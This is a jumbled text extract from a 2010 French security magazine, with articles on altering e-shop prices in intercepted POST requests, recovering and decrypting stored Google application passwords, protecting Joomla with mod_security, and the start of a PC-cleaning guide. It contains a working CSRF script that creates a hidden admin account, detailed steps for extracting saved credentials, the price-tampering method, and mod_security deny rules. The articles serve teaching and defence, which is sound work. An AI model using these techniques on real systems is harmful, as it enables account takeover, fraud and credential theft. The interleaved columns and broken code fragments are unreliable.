d'une partie des données transférées en POST (voir Figure 3). Comme le montre la copie d'écran, le prix est en clair dans la requête HTTP ; dès lors, nous le modifions à notre guise sans aucun problème. Cette brèche de sécurité permet à une personne mal intentionnée d'y écrire ce que bon lui semble, comme par exemple un prix à 0€ ; cela fonctionne sans problème. Voici donc un exemple de cas avec le prix à 0€ (voir Figure 4).
Figure 1. Page principale de l'utilitaire Tamper DATA
Traitement des données et envoi du résultat au Pirate
Contrairement aux problèmes qu'ont rencontrés les sites Web avec leurs propres structures pour gérer leurs articles avec leurs prix ou toutes autres sortes d'attributs, d'autres méthodes sont présentes sur la toile, comme recourir à des systèmes déjà conçus à cet effet, tels Paypal. De nombreuses E-boutiques font appel à ces services pour réaliser un système de paiement 'sécurisé'. Malgré cela, leurs implémentations au niveau des plates-formes web laissent quelques fois à désirer : elles permettent tout autant à une personne mal intentionnée de changer les prix de différents articles. Le principe est le même, ce dernier altère la requête POST envoyée au service Paypal, contenant les informations cruciales comme le prix de l'article. Une capture d'écran a été réalisée, représentant la preuve du concept depuis un cas précis. Malgré les sécurités instaurées par Paypal, il est donc possible d'altérer l'intégrité des données qui transitent sur le réseau avant d'arriver sur la page avec notre propre panier (voir Figure 5). Et voici le résultat sur le site PayPal (voir Figure 6). Nous avons montré comment il était possible d'altérer des données plus que sensibles de E-boutiques malgré des méthodes de paiement différentes. Nous
Figure 3. Interception des données envoyées en POST.
Serveur cible
Envoi des données falsifiées au serveur cible
Figure 2. Principe de l'attaque de type Request DATA
Pirate
Figure 4. Résultat sur une e-boutique « cible ».
Figure 5. Capture d'écran d'une requête récupérée via Tamper DATA. 3/2010 HAKIN9
60_63___request.indd 61
61
2010-03-11, 13:22:10
TECHNIQUE allons maintenant nous intéresser à la façon de sécuriser notre application Web afin de prévenir ces dangers.
Prévention et sécurisation des sites Web, E-boutiques La brèche des failles de type Request DATA vient donc d'un problème de programmation, de données mises dans des formulaires et reprises ultérieurement sans vérification de leur intégrité. Un test d'exploitation de cette faille sur un site a donné ce message : Le prix que vous avez n'est pas celui que nous avons dans notre base de données, vous avez donc le choix entre commander cet article ou naviguer de nouveau dans le catalogue.
Chaque application devrait utiliser un tel système comparant les données récupérées de l'utilisateur à celles de la base de données (qui normalement, devraient être exactes). En représentant le formulaire schématiquement, le code serait quelque chose comme dans le Listing 1. Un champ de type Hidden (caché en anglais) est donc bien présent et permet ainsi de transférer des informations sans que l'utilisateur lambda ne puisse les voir. D'un côté, cela paraît utile, rendant ainsi un formulaire moins difficile à comprendre pour les internautes. Toutefois, l'absence de vérification ultérieure risquerait de poser certains problèmes.
Figure 6. Panier sous Paypal. Listing 1. un système comparant les données récupérées de l’utilisateur à celles de la base de données
Listing 2. Create table Article . Create table Article ( Id auto_increment, Prix INT NOT NULL, Categorie VARCHAR(100), Nom VARCHAR(100), Description TEXT, Primary Key(Id) );
Listing 3. commande de l’article.
Nous allons utiliser une table Articles pour notre base de données. Elle sera du type (cf. Listing 2). Dès lors, les champs indispensables sont présents dont un ID unique nous permettant de trouver l'article et un certain prix qui sera fixé, évitant ainsi tous les problèmes. Lorsque la fiche détaillée du produit sera affichée, nous pourrons donc commander l'article avec un formulaire qui serait du type (cf. Listing 3). Vous l'aurez deviné, le problème est le même qu'avant, mais il faudrait donc réaliser une vérification dans le script « commander.php » afin de savoir si le prix n'a pas changé (cf. Listing 4). Nous ne sommes pas obligés de mettre le prix dans un champ du formulaire puisque dans notre requête SQL, nous sélectionnerons tous les attributs de l'objet souhaité par l'utilisateur. Nous aurions donc pu nous limiter à l'id et la quantité par exemple mais l'explication permet d'apprendre à sécuriser son application web et non pas à la développer entièrement. D'autres systèmes sont présents sur la toile, comme l'IPN (Instant payement notification), service de Paypal. Cette notification instantanée nous envoie des informations relatives à chaque transaction faite sur notre site et compte PayPal. Les informations que nous pouvons en retirer sont, par exemple, les paiements en attente, les autorisations, les virements dif férés ou encore les litiges. C'est cette dernière partie qui nous intéresse et qui nous assure une certaine fiabilité au niveau des paiements rencontrés sur internet. Dès lors, en constatant qu'un achat est fait avec des paramètres frauduleux, nous arrêtons directement la transaction. Ce service nous permet de garder la maîtrise de tout ce qui se passe et ainsi avoir un système mieux sécurisé. Malheureusement, seules peu d'applications utilisent un tel service et de nombreuses autres restent vulnérables à ce type d'attaque.
62 HAKIN9 3/2010
60_63___request.indd 62
2010-03-11, 13:22:29
LES FAILLES DE TYPE REQUEST DATA
Listing 4. le script « commander.php »
Conclusion Nous vous avons montré à quel point il est facile d'altérer les requêtes HTTP afin de les tourner à l'avantage de l'attaquant. Aucune des méthodes (GET ou POST) n'est épargnée mais grâce à une bonne rigueur de programmation, nous pouvons protéger notre propre application contre cela. Malheureusement, au moment où sont écrites ces lignes, de nombreuses E-boutiques et platesformes Web sont vulnérables à ce genre
d'attaques. Nous vous conseillons donc de vérifier vos propres applications et lors d'un projet, d'envisager toutes les possibilités susceptibles d'entraver le bon fonctionnement du Site Web en réalisant des diagrammes de cas d'utilisation, de séquences etc. En outre, ces vulnérabilités ne sont pas les seules qui touchent les applications Web spécialisées dans le commerce (ou autre). Les attaques de type Cross Site Scripting (XSS), Cross site Request
Forgeries (CSRF) ou les Injections SQL font d'énormes dégâts. Pour cela, dans le code source, il faut « sécuriser » toutes les données provenant de l'internaute. Utiliser des fonctions comme htmlspecialchars() et mysql_real_escape_string() sont obligatoires au bon fonctionnement du projet.
À propos de l'auteur
Sur Internet • • • •
https://addons.mozilla.org/en-US/firefox/addon/966 – Lien vers l'add-on Tamper DATA (utilisé à l'appui de cet article) https://addons.mozilla.org/fr/firefox/addon/1843 – Lien vers l'add-on FireBug (utile pour éditer des codes source en direct) http://shiflett.org/articles/sql-injection – Article de Chris Shiflett très intéressant sur les Injections SQL. https://www.paypal.com/ipn - Information sur le service IPN offert par PayPal permettant d'avoir toutes les traces etc. concernant ses transactions.
L'auteur est actuellement en DUT informatique à Fontainebleau. Il se passionne pour la sécurité informatique depuis plusieurs années. Depuis peu, il s'intéresse à la sécurité des systèmes d'information afin de comprendre les risques éventuels et les moyens permettant de les pallier. Il envisage de préparer un diplôme d'ingénieur en informatique. Après de nombreuses recherches sur les failles de type Cross Site Request Forgeries (CSRF, article publié au mois de Mai-Juin), il s'est frotté à d'autres problèmes permettant de manipuler les requêtes HTTP. Le principe des failles de type Request DATA est simple à comprendre : une requête est envoyée à un serveur distant et il suffit de l'altérer pour produire un état précis sur le serveur cible.
3/2010 HAKIN9
60_63___request.indd 63
63
2010-03-11, 13:22:41
TECHNIQUE ALEXANDRE LACAN
Degré de difficulté
Comment récupérer les mots de passe des applications Google Cet article s'intéresse au stockage des mots de passe des applications Google sur un ordinateur. Il ne s'intéresse pas à la récupération des mots de passe par ingénierie sociale, ou par des techniques de type Man-in-the-Middle. Pour l'ensemble des détails décrits ci-après, nous supposons disposer d'un accès complet à la machine.
N
agareshwar Talekar (http://twitter.com/ tnagareshwar) est un chercheur en sécurité spécialisé en ingénierie inverse. Il vient de publier plusieurs articles relatifs au déchiffrement des mots de passe des applications Google, dont cet article s'est inspiré. Il a mis en ligne les logiciels GooglePasswordDecryptor et ChromePasswordDecryptor permettant d'automatiser la récupération et le déchiffrement de ces mots de passe.
Google Talk Google Talk est une application de messagerie instantanée (cf. Figure 1). Lors de l'authentification,
si un utilisateur coche la case remember password, une clé est créée dans la base de registre à l'emplacement : HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts
Le nom de la clé correspond au nom d'utilisateur et le mot de passe est stocké dans la valeur pw. Le logiciel chiffre le mot de passe Google en utilisant les fonctions cryptographiques de Windows (http://msdn.microsoft.com/en-us/ librar y/aa380252%28VS . 85%29.aspx #data_ encryption_and_decryption_functions). Pour
CET ARTICLE EXPLIQUE... où sont stockés les mots de passe des applications Google, comment les déchiffrer.
CE QU'IL FAUT SAVOIR... notions de développement.
Figure 1. Stockage des identifiants Google Talk dans la base de registre
64 HAKIN9 3/2010
64_67____google.indd 64
2010-03-10, 16:36:13
RÉCUPÉRATION DE MOTS DE PASSE
déchiffrer le mot de passe, procédez comme suit : •
•
•
•
récupérez le nom d'utilisateur et le nom du domaine utilisé pour la session Windows courante, grâce aux fonctions cryptographiques de Windows, créez le hash du nom d'utilisateur et celui du nom de domaine, la valeur sur 16 octets obtenue est ensuite utilisée pour obtenir un hash du mot de passe chiffré, enfin, le mot de passe est déchiffré grâce à la fonction CryptUnprotectData.
fondant sur la version d'Internet Explorer installée. Si l'ordinateur utilise une version d'Internet Explorer 6 ou moins récente, le mot de passe est protégé par Protected Storage (http://msdn.microsoft.com/enus/library/bb432403%28VS.85%29.aspx). Un logiciel comme Cain (http://www.oxid.it) permet de récupérer aisément le mot de passe en clair. Si l'ordinateur utilise Internet Explorer 7 ou plus récent, le mot de passe est alors stocké de manière sécurisée en utilisant Windows Credential Provider. Pour récupérer le mot de passe, il faut : •
utiliser la fonction CredEnumerate pour lister les mots de passe protéger par Windows Credential Provider, sélectionner l'entrée associée au compte google en vérifiant si la valeur TargetName commence par le texte : Microsoft_WinInet_www.google.com: 443,
Picasa Picasa est un logiciel de classement et de retouche photo. Google propose en parallèle un service de stockage gratuit sur Internet pour le partage de photos. Les identifiants Picasa Web enregistrés sur l'ordinateur sont stockés dans la base de registre à l'emplacement suivant : HKEY_CURRENT_USER\Software\Google\ Picasa\Picasa2\
•
• •
•
l• •
•
convertir le nom d'utilisateur en gaia: : (par exemple gaia:: lades51), e mot de passe chiffré est décodé au format hexadécimal, utiliser la fonction CryptDeriveKey en utilisant le nom de compte modifié comme mot de passe, déchiffrer le mot de passe en utilisant la fonction CryptDecrypt .
Pour chaque entrée découverte, déchiffrer le mot de passe grâce à la fonction CryptUnprotectData.
Google Desktop Search Desktop Search permet d'indexer le contenu d'un disque dur pour rendre la recherche d'un élément plus rapide. En y attachant un compte Gmail, la recherche dans le contenu des mails est plus rapide. Ce petit logiciel permet d'avertir un utilisateur de l'arrivée de ses mails. Gmail Notifier utilise différentes méthodes pour sécuriser les mots de passe, en se fondant sur la version d'Internet Explorer installée. Les comptes configurés sont stockés à l'emplacement suivant : HKEY_CURRENT_USER\Software\Google\ Google Desktop\ Mailboxes\Gmail
La clé POP3_Name contient le nom du compte, et la clé POP3_Credentials
Sur le réseau
Preferences
Le nom d'utilisateur est stocké dans la valeur GaiaUser et le mot de passe est chiffré et stocké dans la valeur GaiaPass. Comme Google Talk, le mot de passe est protégé par l'utilisation des fonctions cryptographiques de Windows. Pour retrouver en clair le mot de passe, il faut :
•
http://securityxploded.com – articles de Nagareshwar Talekar sur le déchiffrement des mots de passe Google, http://msdn.microsoft.com/en-us/library/aa380252%28VS.85%29.aspx#data_encryption_ and_decryption_functions – les fonctions cryptographiques de Windows,
Figure 2. Déchiffrement de Protected Storage par Cain
Gmail Notifier Ce petit logiciel permet d'avertir un utilisateur de l'arrivée de mails sont. Gmail Notifier utilise différentes méthodes pour sécuriser les mots de passe, en se
Figure 3. Chrome - Contenu de la table logins avec SQLite Database Browser 3/2010 HAKIN9
64_67____google.indd 65
65
2010-03-10, 16:36:21
TECHNIQUE contient le mot de passe chiffré. Une fois de plus, c'est l'utilisation de la fonction
CryptUnprotectData qui permet récupérer le mot de passe en clair.
Listing 1. Déchiffrement de mots de passe protégés par Windows Credential Provider Credits : Thanks to SapporoWorks for original work void DecryptGmailNotifierPassword() { DATA_BLOB DataIn; DATA_BLOB DataOut; DATA_BLOB OptionalEntropy; tmpSalt[37]; char *strSalt={"abe2869f-9b47-4cd9-a358-c22904dba7f7"}; char char char char
Google Chrome Comme tous les navigateurs, Chrome dispose d'une fonction permettant de conserver les identifiants des sites visités. Pour les ordinateurs sous XP, cette base de données est stockée à l'emplacement suivant : C:\Documents and Settings\\ Local Settings\ Application Data\ Google\Chrome\ User Data\Default
Si l'ordinateur est équipé de Vista ou supérieur, l'emplacement de stockage est : C:\Users\\Appdata\Local\
Ce répertoire contient plusieurs fichiers contenant les favoris, l'historique, le cache, … Le fichier Web Data est celui qui contient les mots de passe, mais également les autres informations nécessaires à l'autocomplétion, dans la table 'logins' : • • • • • • • •
origin_URL : URL du site web, action_URL : URL du formulaire d'authetification, username_Element : Nom du champ username, username_value : Nom d'utilisateur, password_element : Nom du champ contenant le mot de passe, password_value : mot de passe chiffré, date_created : Date de la création de cette entrée, blacklisted_by_user : champ contenant 1 ou 0 si le site a été mis en liste noire ou non.
Le mot de passe est chiffré en 3DES, grâce aux informations d'authentification de l'utilisateur Windows en cours. Ainsi, seul cet utilisateur peut déchiffrer le mot de passe, grâce à la fonction CryptUnprotectData.
CredFree(Credential); } } //End of function
À propos de l'auteur Auteur : Alexandre LACAN Pour le contacter : [email protected] http://twitter.com/lades51
66 HAKIN9 3/2010
64_67____google.indd 66
2010-03-10, 16:36:29
64_67____google.indd 67
2010-03-10, 16:36:41
SÉCURITÉ RÉSEAUX TONY FACHAUX
Sécuriser les applications web
Degré de difficulté
L'article présente d'une manière générale les moyens techniques à mettre en œuvre pour sécuriser les applications web d'une entreprise. Cette sécurisation passe par la mise en place d'un WAF (Web Application Firewall). Dans cet article, nous utiliserons le mod_security d'Apache pour expliquer la mise en œuvre de ce type de protection.
A
ujourd'hui, les attaques sont de moins en moins réalisées sur les serveurs ou sur les réseaux car ils sont de mieux en mieux protégés. La majeure partie des vulnérabilités se trouvent dans les applications et les applications Web sont aujourd’hui extrêmement répandues.
C’est pour cela que des équipements, appelés WAF (Web Application Firewall ou Firewall applicatif en français), font leur apparition et sont maintenant un maillon indispensable dans la sécurité d’une architecture. Pour répondre à ce besoin, il existe une multitude d’appliances sur le marché telles
Flux HTTP/HTTPS
DMZ Web
CET ARTICLE EXPLIQUE...
DMZ Publique
Flux HTTP
Ce qu'est un WAF (Web Application Firewall). Comment filtrer les attaques Web.
CE QU'IL FAUT SAVOIR... Quelques notions sur le protocole HTTP.
Serveur Web
WAF (Web AQpplication Firewall)
Figure 1. Architecture Web sécurisée par un WAF
68 HAKIN9 3/2010
68_73_____securiteWEB_ok.indd 68
2010-03-10, 16:41:39
SÉCURISER LES APPLICATIONS WEB
Deny All, F5 ou encore Barracuda. Mais nous parlerons ici de mod_security2 qui est un module de filtrage applicatif pouvant être couplé avec un Apache configuré en reverse proxy. Tout ceci est plus communément appelé un reverse proxy filtrant.
Qu'est ce qu'un reverse proxy Il convient ici de définir ce qu’est un reverse proxy. Comme son nom l’indique, un reverse proxy est le contraire d’un proxy ! Le reverse proxy se place en frontal derrière le firewall. Derrière lui, se cache un ou plusieurs serveur web. Le reverse proxy peut faire de la répartition de charge et/ou du filtrage ce que nous allons voir ici en pratique. Le filtrage se réalise de deux manières : soit par liste blanche, soit par liste noire. La liste blanche est la plus sûre mais la plus difficile à configurer. Son but consiste à tout bloquer et à n’autoriser que le trafic sûr (typiquement le fonctionnement d’un pare-feu réseau). Une tâche difficile pour des applications qui génèrent beaucoup de données aléatoires. La quasi-impossibilité de connaître tout le bon trafic est un autre élément de difficulté. Une liste blanche mal générée risque d'altérer le fonctionnement de l’application. Dans certains cas, nous sommes donc obligés d'opter pour la liste noire qui consiste à bloquer tout le mauvais trafic. Mais qui peut prétendre connaître tout le mauvais trafic de l’Internet ? Personne ! C’est donc pour cette raison que la liste blanche est plus sûre bien que pas toujours évidente à implémenter.
L'architecture La figure 1 représente un schéma basique d'une architecture web protégée par un WAF. Les clients sur Internet interrogent le reverse proxy en HTTP ou en HTTPS selon l'application. Le reverse proxy filtrant analyse les requêtes web, les autorise ou non et redirige les requêtes en HTTP au serveur web correspondant. Le reverse proxy est généralement placé dans une DMZ publique car elle est joignable depuis l'extérieur et les serveurs web sont, quant
La configuration du reverse proxy La configuration du reverse proxy est contenue dans le fichier httpd.conf de notre Apache situé en frontal derrière le firewall. Il faut d’abord vérifier que les modules sont correctement chargés : • • •
Ensuite, il faut réaliser la configuration du reverse proxy : • • • •
ProxyRequests Off ServerName IP_de_la_web_application ProxyPass / http://IP_de_la_web_application ProxyPassReverse / http://IP_de_la_web_application
Nous avons réalisé une configuration basique du reverse proxy. Il est aussi évident ici que dans un cas réel, nous configurerions une authentification mais ce n’est pas le but de cet article. La documentation officielle de mod_proxy est très bien faite à ce sujet.
Figure 2. Trace générée par mod_security2
Figure 3. Fichier de configuration de mod_security2
Figure 4. News déposée sur Joomla 3/2010 HAKIN9
68_73_____securiteWEB_ok.indd 69
69
2010-03-10, 16:41:46
SÉCURITÉ RÉSEAUX à eux, placés dans une DMZ spécifique. L’application web que nous utiliserons en appui du présent article sera un Joomla 1.0.13 STABLE. Cette application n’est volontairement pas la dernière version afin de tester aisément l’exploitation de failles dans l’application. Expliquons rapidement le principe de fonctionnement. Un utilisateur sur Internet désirant se connecter sur Joomla entre dans son navigateur Internet l’adresse du reverse proxy (rappelez-vous qu’il est placé en frontal). Son navigateur affichera alors Joomla. L’utilisateur se connecte en
HTTP ou en HTTPS, le reverse proxy se chargera ensuite de relayer les requêtes vers Joomla en HTTP.
L'architecture se compose des éléments suivants :
partons du principe qu'il dispose de la configuration suivante : un OS FreeBSD avec Apache 2.2, PHP5 et MySQL. Le reverse proxy dispose du mod_proxy d'Apache pour fonctionner en reverse proxy et le serveur web hébergera l'application Joomla.
•
Le mod_security
Configuration de l'architecture
•
Un serveur web hébergeant l'application web Joomla Un reverse proxy filtrant
Nous ne détaillerons pas complètement l'installation de ces serveurs mais
Listing 1. Un exemple d'attaque CSRF Je vais gagner <script type="text/javascript"> window.onload = function() { var url = "http://IP_Joomla/joomla/administrator/index2.php"; var gid = 25; var user = 'mechant'; var pass = 'mechant'; var email = '[email protected]'; var param = { name: user, username: user, email: email, password: pass, password2: pass, gid: gid, block: 0, option: 'com_users', task: 'save', sendEmail: 1 };
Mod_security est un module d’Apache permettant de transformer un Apache configuré en reverse proxy en firewall applicatif. Il faut savoir que mod_security dispose d’une communauté très active et commence à être de plus en répandu. La grande force de mod_security est de pouvoir filtrer à 5 niveaux : • • • • •
En-têtes de requêtes Corps des requêtes En-têtes de réponses Corps des réponses Journalisation
Cela fait de mod_security un outil de filtrage très puissant pour les applications web.
Installation L'installation de mod_security FreeBSD se fait simplement:
sous
cd /usr/ports/www/mod_security2 && make install
var form = document.createElement('form'); form.action = url; form.method = 'post'; form.target = 'hidden'; form.style.display = 'none'; for (var i in param) { try { // ie var input = document.createElement(''); } catch(e) { // other browsers var input = document.createElement('input'); input.name = i; } input.setAttribute('value', form.appendChild(input);
clean
Passons maintenant à la préparation de la configuration Comme pour le reverse proxy, nous devons vérifier que les modules sont correctement chargés dans Apache. Le module mod_unique permet à mod_security d’identifier de manière unique chaque requête reçue : LoadModule unique_id_module libexec/ apache22/mod_
param[i]);
unique_id.so
}
Chargement du module mod_security2 :
document.body.appendChild(form); form.submit();
LoadModule security2_module libexec/
} <iframe name="hidden" style="display: none">
apache22/mod_ security2.so
Configuration de mod_security2 : 70 HAKIN9 3/2010
68_73_____securiteWEB_ok.indd 70
2010-03-10, 16:41:54
SÉCURISER LES APPLICATIONS WEB
Include etc/apache22/Includes/*.conf
Tous les fichiers de configuration de mod_security se trouvent dans /usr/ local/etc/apache22/Includes/mod _ security2 (cf. Figure 2).
Le fichier de configuration principal est modsecurity_crs_10_config.conf. Les autres fichiers représentent les règles ModSecurity Core Rules qui fonctionnent en liste noire et qui représentent une protection de base intéressante contre une quantité d’attaques connues.
Paramétrage personnalisé Avant tout, il convient d’expliquer comment personnaliser la configuration de mod_ security manuellement. Pour cela, il faut ajouter un fichier .conf au répertoire de mod_security. Ce fichier .conf sera pris en compte puisque nous lui avons indiqué :
sur le site officiel de mod_security. Une multitude de règles peuvent être écrites. Vous trouverez plus loin dans cet article les règles que nous avons éditées pour bloquer notre attaque. En voici quelques-unes : Bloquer l’accès au répertoire joomla dans une url :
Include etc/apache22/Include/*.conf
SecFilter /joomla/
Afin d’éditer des règles, il faut utiliser la directive SecRule avec cette syntaxe :
Interdire la méthode TRACE : SecFilterSelective REQUEST_METHOD «
SecRule Variables Opérateur [Actions]
Paramétrage de mod_ security2 Voici le détail du paramétrage du fichier de configuration principal de mod_security : SecRuleEngine On : Activation du module mod_security. Ce module intercepte les requêtes et les bloque ou laisse passer selon la configuration. Cette option peut être bloquée ou simplement active sans blocage (active à des fins de logs). SecRequestBodyAccess On : les règles qui inspectent le corps des requêtes sont actives. SecResponseBodyAccess On : les règles qui inspectent le corps des réponses sont actives. SecDefaultAction : Détermine l’action par défaut lorsqu’aucune règle ne s’applique. Plusieurs options peuvent y être spécifiées comme log pour loguer, deny pour arrêter l’application, etc. Une grande particularité de mod_security est qu’il log beaucoup plus d’informations qu’Apache. Pour cela, il faut configurer les paramètres suivants : SecAuditEngine RelevantOnly : seuls les échanges ayant été détectés sont enregistrés SecAuditLog : spécifie le chemin vers le journal Voici un exemple de traces que génère mod_security dans notre situation (cf. Figure 3). A ce stade, nous avons un mod_ security2 fonctionnel avec les ModSecurity Core rules. Notre application web est donc correctement protégée en liste noire à condition, bien sûr, de mettre à jour régulièrement les Core rules. Le but étant de faire de la liste blanche, nous verrons par la suite comment orienter la configuration vers ce mode de fonctionnement.
Pour avoir la documentation complète des paramètres utilisables, rendez-vous
TRACE »
Vous trouverez plusieurs exemples de règles dans l’article d’HSC qui se trouve
Figure 5. Editeur de règles REMO 3/2010 HAKIN9
68_73_____securiteWEB_ok.indd 71
71
2010-03-10, 16:42:03
SÉCURITÉ RÉSEAUX dans la partie références de cet article. Vous y trouverez des règles permettant
de bloquer des SQL injection ainsi que des failles XSS. Pour mettre en place du
filtrage par liste noire, ces règles sont intéressantes.
Sur Internet
Démonstration d'une attaque sur Joomla
• • • •
Nous avons réalisé une attaque sur notre installation de Joomla pour ensuite tester son blocage avec mod_security2. Explication de l'attaque :
• •
http://www.howtoforge.com/remo_modsecurity_apache – Un tutorial pour débuter avec REMO. http://www.modsecurity.org/ – Le site officiel de mod_security. http://software.inl.fr/trac/wiki/Ouadjet – Le site de ouadjet. http://www.hsc.fr/ressources/breves/modsecurity.html.fr – Un article d'HSC traitant de mod_ security. http://www.hsc.fr/ressources/breves/relais-inverse.html.fr – Un article d'HSC traitant d'Apache en relais inverse. http://httpd.apache.org/docs/2.0/mod/mod_proxy.html – La documentation officielle de mod_proxy.
Listing 2. Règles mod_security # Location au niveau du site joomla # Traitement de la balise "Referer" SecRule REQUEST_HEADERS:Referer "!^(http://192.168.103.113/joomla/administrator/(.*))$" "t:none,deny,id:3,status:501,severity:3,msg:'Header Referer failed # Aucune vérification sur le "Cookie" SecRule REQUEST_HEADERS:Cookie "!^(.*)$" "t:none,deny,id:3,status:501,severity:3,msg:'Header Cookie failed validity check. Value domain: Custom.'" # All checks passed for this path. Request is allowed. SecAction "allow,id:4,t:none,msg:'Request passed all checks, it is thus allowed.'" # traitement de la balise "Referer" en prenant en compte cette fois la possibilité de venir du fichier index.php SecRule REQUEST_HEADERS:Referer "!^((http://192.168.103.113/joomla/administrator/(.*))|(http://192.168.103.113/j oomla/index.php(.*)))$" "t:none,deny,id:3,status:501,severity:3,msg:'Header Referer failed validity check. Value domain: Custom.'" # Aucune vérification sur le "Cookie" SecRule REQUEST_HEADERS:Cookie "!^(.*)$" "t:none,deny,id:3,status:501,severity:3,msg:'Header Cookie failed validity check. Value domain: Custom.'" # aucun traitement de la balise "Referer" SecRule REQUEST_HEADERS:Referer "!^(.*)$" "t:none,deny,id:1,status:501,severity:3,msg:'Header Referer failed validity check. Value domain: Custom.'" # Vérifie que le "Cookie" n'existe pas SecRule REQUEST_HEADERS:Cookie "(3317646d38c9c47495501e2b9c0a260e=)(.*)$" "t:none,deny,id:1,status:501,severity:3,msg:'Header Cookie failed validity check. # Bloque tout SecAction "deny,status:501,severity:3,msg:'Unknown request. Access denied by fallback rule.'"
• •
1/ Création d'un utilisateur classique dans Joomla. 2/ Cet utilisateur dépose ensuite une news dans Joomla avec un lien contenant cette attaque (Figure 4).
Le lien cliquez ici contient du code malveillant que voici (cf Listing 1). Et lorsqu’un administrateur ira sur cette news et cliquera sur le lien, un nouveau compte root mechant/mechant se créera dans la base de données utilisateurs de joomla.
Le filtrage par liste blanche L’objectif de la liste blanche est d’interdire ce qui n’est pas explicitement autorisé. Cela peut être assez facile pour une application dont les processus sont entièrement maitrisés. Cela devient beaucoup plus compliqué pour une application non maîtrisée et relativement lourde en fonctionnalités. Au vu de la tâche que cela implique, dans le cadre de notre étude, nous ne tenterons pas de protéger l’ensemble de l’application mais seulement quelques parties du système et, notamment, le protéger contre l’attaque proposée dans la partie précédente. Nous allons dans un premier temps ne mettre aucune règle de filtrage et mettre le reverse proxy en mode apprentissage afin de loguer au maximum ce qui se passe et déterminer ensuite les règles de filtrage à mettre en place. Cette opération terminée, une analyse assez grossière nous permet d’identifier les grandes règles de filtrage permettant à l’application de s’exécuter au maximum. En effet, cette première opération est assez importante puisque tout ce qui n’est pas explicitement autorisé est interdit. Il convient ainsi d’autoriser un maximum d’éléments nécessaires au bon fonctionnement de l’application.
72 HAKIN9 3/2010
68_73_____securiteWEB_ok.indd 72
2010-03-10, 16:42:15
Comment filtrer l'attaque
Editeur de règles
Le problème de cette attaque réside dans la légitimité de l’opération réalisée. Le seul élément qui n’est pas normal est le lieu de réalisation du script. En effet, l’opération de création de compte utilisateur ne peut être réalisée que depuis l’URL « index2.php » Nous avons donc décidé de filtrer sur l’en-tête HTTP, la variable « Referer » qui stipule l’url de la page demandant à exécuter le script et d’y mettre comme règle : « /joomla/ administrator/(.*) ». Nous pouvons alors constater, qu’effectivement, l’attaque dans ces conditions n’est plus possible. Dans cette règle, nous ne stipulons pas que la balise Referer est obligatoire, ce qui peut être considéré comme une vulnérabilité. Si cette balise est rendue obligatoire, l’authentification à l’application n’est plus possible car dans certains cas, ce champ ne figure pas dans l’en-tête HTTP. Néanmoins, nous partons du principe que l’administrateur n’a aucun intérêt à intercepter la communication pour changer cette balise. Toujours dans notre paranoïa permanente, nous nous sommes dit que la page permettant l’attaque pouvait se trouver derrière un proxy qui modifierait cet en-tête à la volée afin de la rendre conforme à la règle de filtrage précédemment mise en place. C’est pourquoi nous avons décidé d’ajouter une règle plus contraignante pour l’administrateur mais qui permettra de réduire au maximum ce risque.
Le premier outil recommandé (Ouadjet) ne fonctionne que pour la branche 1 d’Apache. Nous l’avons essayé sur la branche 2 de mod_security mais sans succès. Nous avons donc cherché un outil pour la branche 2 de mod_security. Deux outils ont été trouvés. Le premier nous a paru assez austère dans son approche. Le second, REMO, nous a paru beaucoup plus intéressant dans son approche, car il aide l’utilisateur à créer un maximum de règles de la manière la plus précise possible, permettant également une compréhension simplifiée de l’en-tête HTTP. Pour être efficace dans la création de règles, il convient de bien comprendre le fonctionnement du protocole HTTP. La compréhension des en-têtes est un élément primordial. Voici en image les règles que nous avons générées avec REMO (cf. Figure 5). Et voici ce que cela donne en version mod_security (cf. Listing 2).
Un moyen complémentaire de filtrage La deuxième règle consiste à limiter l’accès de l’administrateur à son espace d’administration et de lui interdire l’accès aux pages du site. Cette règle consiste donc à interdire explicitement le cookie de session « 3317646d38c9c47495501 e2b9c0a260e» correspondant au profil d’administration aux autres espaces (Location) du site. Le problème est que pour accéder au reste de l’application, l’administrateur n’aura pas seulement besoin de se déloguer, il lui faudra aussi fermer son navigateur. En effet, au moment du logout de l’application, le cookie est dévalidé dans la base de données mais ne l’est pas au niveau du navigateur.
68_73_____securiteWEB_ok.indd 73
Conclusion Nous avons vu que la liste blanche est un mécanisme très complexe à mettre en œuvre. La solution consisterait à créer des règles de filtrage par liste blanche pour chaque application web (soit par l’éditeur, soit par une société qui ne s’occuperait que de cela). Sans cela, la mise en place d’une liste blanche est extrêmement difficile sauf à connaître parfaitement l’application. La liste noire a donc encore de beaux jours devant elle tant que des listes blanches ne seront pas éditées pour chaque application. A moins qu’un autre outil vraiment performant voit le jour. Ouadjet pour la branche 2 de mod_security est en développement. Ivan Ristic, le développeur de mod_security, est aussi en train de travailler sur un projet qui consisterait à générer des listes blanches automatiquement mais cela va prendre du temps. Patientons…
À propos de l'auteur L'auteur travaille en tant qu'ingénieur sécurité chez Dimension Data Luxembourg. Son métier consiste en la conception, la mise en œuvre et le support d'architectures de sécurité pour des clients grands comptes. Diplômé d'un Master ès Sécurité Informatique à l'EPITA à Paris, il se passionne pour les technologies de sécurité de l'information.
2010-03-11, 13:38:42
DÉBUTANTS Comment nettoyer son PC ? RÉGIS SENET
Degré de difficulté
Allez allez, prenez tous un balai, un grand sac poubelle et …. Non en fait, ce n’est pas nécessaire de prendre cela ; nous vous expliquerons ici comment nettoyer vos PC, informatiquement parlant bien sûr.
N
CET ARTICLE EXPLIQUE... Les méthodes pour nettoyer un PC infecté Les méthodes pour éviter de nouvelles infections
CE QU'IL FAUT SAVOIR... Aucune connaissance n’est requise
ettoyer son PC présente de nombreux avantages. Tout d’abord, cela permet de se débarrasser des parasites, spywares et autres virus qui nuisent au bon fonctionnement de votre installation informatique. D’autre part, cela permet d’éliminer les fichiers temporaires qui, s’ils ne présentent aucun risque pour la stabilité de votre système, prennent parfois énormément de place sur votre disque dur et, par conséquent, réduisent d’autant ses performances. Fichiers temporaires, en double, corrompus, inactifs, les éléments à enlever sans risque sont légion, sachant qu’ils représentent parfois plusieurs Mo (ou même Go, selon que nous prenions soin ou non de les éradiquer régulièrement). Toutes les solutions, astuces et logiciels proposées dans cet article sont compatibles tant avec XP qu’avec Vista. L’ensemble des installations se fera sur un ordinateur équipé de Windows XP Pro SP3. L’ensemble des outils présentés sera gratuit.
